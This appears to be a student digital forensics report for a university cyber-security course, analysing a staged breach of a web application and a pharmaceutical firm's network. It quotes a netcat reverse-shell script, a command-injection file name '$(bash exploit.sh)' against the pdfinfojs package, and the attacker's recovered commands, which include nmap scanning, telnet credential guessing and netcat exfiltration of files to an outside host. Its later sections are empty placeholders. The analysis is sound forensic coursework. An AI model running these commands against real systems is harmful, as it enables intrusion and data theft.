|  |  |
| --- | --- |
| C:\user-pjpf\Briefcase-SO\so\so-12-13\slides\logo-IST-Tecnico.JPG | INSTITUTO SUPERIOR TÉCNICO  Departamento de Engenharia Informática  Forensics Cyber Security  MEIC / METI 2020-2021 – 1st Semester |

Digital Forensics Report

**Jorge Brown**

**Nuno Palma**

**Rodrigo Carvalho**

# Do you find solid evidence that the web application has been exploited?

To see if the web application had been exploited, we first looked at its dependencies to find some possible vulnerabilities. We found out that the package “pdfinfojs” had a vulnerability where OS command injection was possible.

The next step was to find where this package was being used and we determined that it was being used in the “src/routes/cv-upload.js” file. The use of the package is done when someone does a HTTP POST request to the /cvupload endpoint. Know this, using Wireshark, we analyzed the provided network traces in search of HTTP requests of this type.

We found two requests done to this endpoint. They both came from the same source address 174.176.50.10 and they were the upload of two different files. Initially a script file named “exploit.sh” was uploaded which had the following content:

**nc.traditional -e /bin/bash 174.176.50.10 8888**

What it does is run netcat, a simple unix utility which reads and writes data across network connections, to establish a connection to the host 174.176.50.10 on port 8888 and run /bin/bash. It then takes the hosts TCP requests’ payloads as standard input and sends its standard output back to the host via a TPC response. This essentially gives remote shell access to the host.

The other file that was uploaded was named “$(bash exploit.sh)” and it is a blank PDF file which sole purpose is to exploit the vulnerability present in the “pdfinfojs” package. This file exploits it because the package will run the following command on a shell:

**pdfinfo $(bash exploit.sh)**

What this command does is execute pdfinfo with the result of “bash exploit.sh” as an argument, but this runs the “exploit.sh” script. Now the web server has had a weakness exploited and is compromised.

|  |  |
| --- | --- |
| **File** | **MD5** |
| src/routes/cv-upload.js | 52941fb04e40b41cefe2ff7c2338a7fb |
| exploit.sh | d6ac4abceb1bf38dad9a4dc76b6d4e9a |
| $(bash exploit.sh) | c94e45783ece1b59c775c471915698c9 |

# Do you find any evidence of transfers involving the documents in the analyzed network traces? What can you tell about the authenticity of the documents that appeared on PharmaLeaks?

Now that we know that the web server is compromised we looked for TCP conversations with the attacker’s IP as source and the web server’s IP as destination in the network trace.

From here we found the commands sent by the attacker:

**ls**

**nmap 192.168.0.0/16**

**telnet 192.168.55.10**

**root**

**penelope**

**password**

**penelope**

**root**

**penelope**

**penelope**

**ls -a**

**nc -q 0 174.176.50.10 23 < xfarma-ceo-email.eml**

**nc -q 0 174.176.50.10 23 < cv.pdf**

**ls -a .ssh**

**ssh penelope@192.168.54.10**

**ls -a**

**nc -q 0 174.176.50.10 23 < report.zip**

**exit**

**exit**

**logout**

**exit**

From here we can see that the attacker first scouted the network using nmap and found a telnet port in the machine with the 192.168.55.10 IP address. Telnet is a network protocol used to virtually access a computer and to provide a two-way text-based communication channel between two machines. This allowed the attacker remote access to Penelope’s computer.

The next commands are login attempts and he succeeds with the user:password combination penelope:penelope. He then uses netcat to send the contents of “xfarma-ceo-email.eml” and “cv.pdf” to himself on port 23.

The attacker then looks for signs of previous use of SSH(Secure Shell) in order to find the required credentials to connect to the server where the confidential files are stored. He sees that there have been previous uses of SSH from Penelope’s machine and so he connects via SSH to the file server on address 192.168.54.10.

From here he uses netcat to send the file “report.zip” to himself and then logs out of all the SSH and telnet sessions.

Now that the attacker’s commands were analyzed we went back to the network trace to find evidence of the transfer of these files. The files were indeed found and their MD5’s are below.

|  |  |
| --- | --- |
| **File** | **MD5** |
| xfarma-ceo-email.eml | ecd9068d354cb2c7292b4dd77d8cde83 |
| cv.pdf | c67bc5270a72a73e84235d5cbc95c472 |
| report.zip | 3744a2d1bf473c74f2f48dd3cca77cab |

# Can you establish a timeline of all relevant events that clarifies how the entire data exfiltration has taken place and the secrets ended up in Rick Chick's computers?

…

# What can you tell about the identity of the person(s) responsible for leaking the secrets?

…

Can also attach appendices, e.g., displaying relevant evidence, timelines, etc.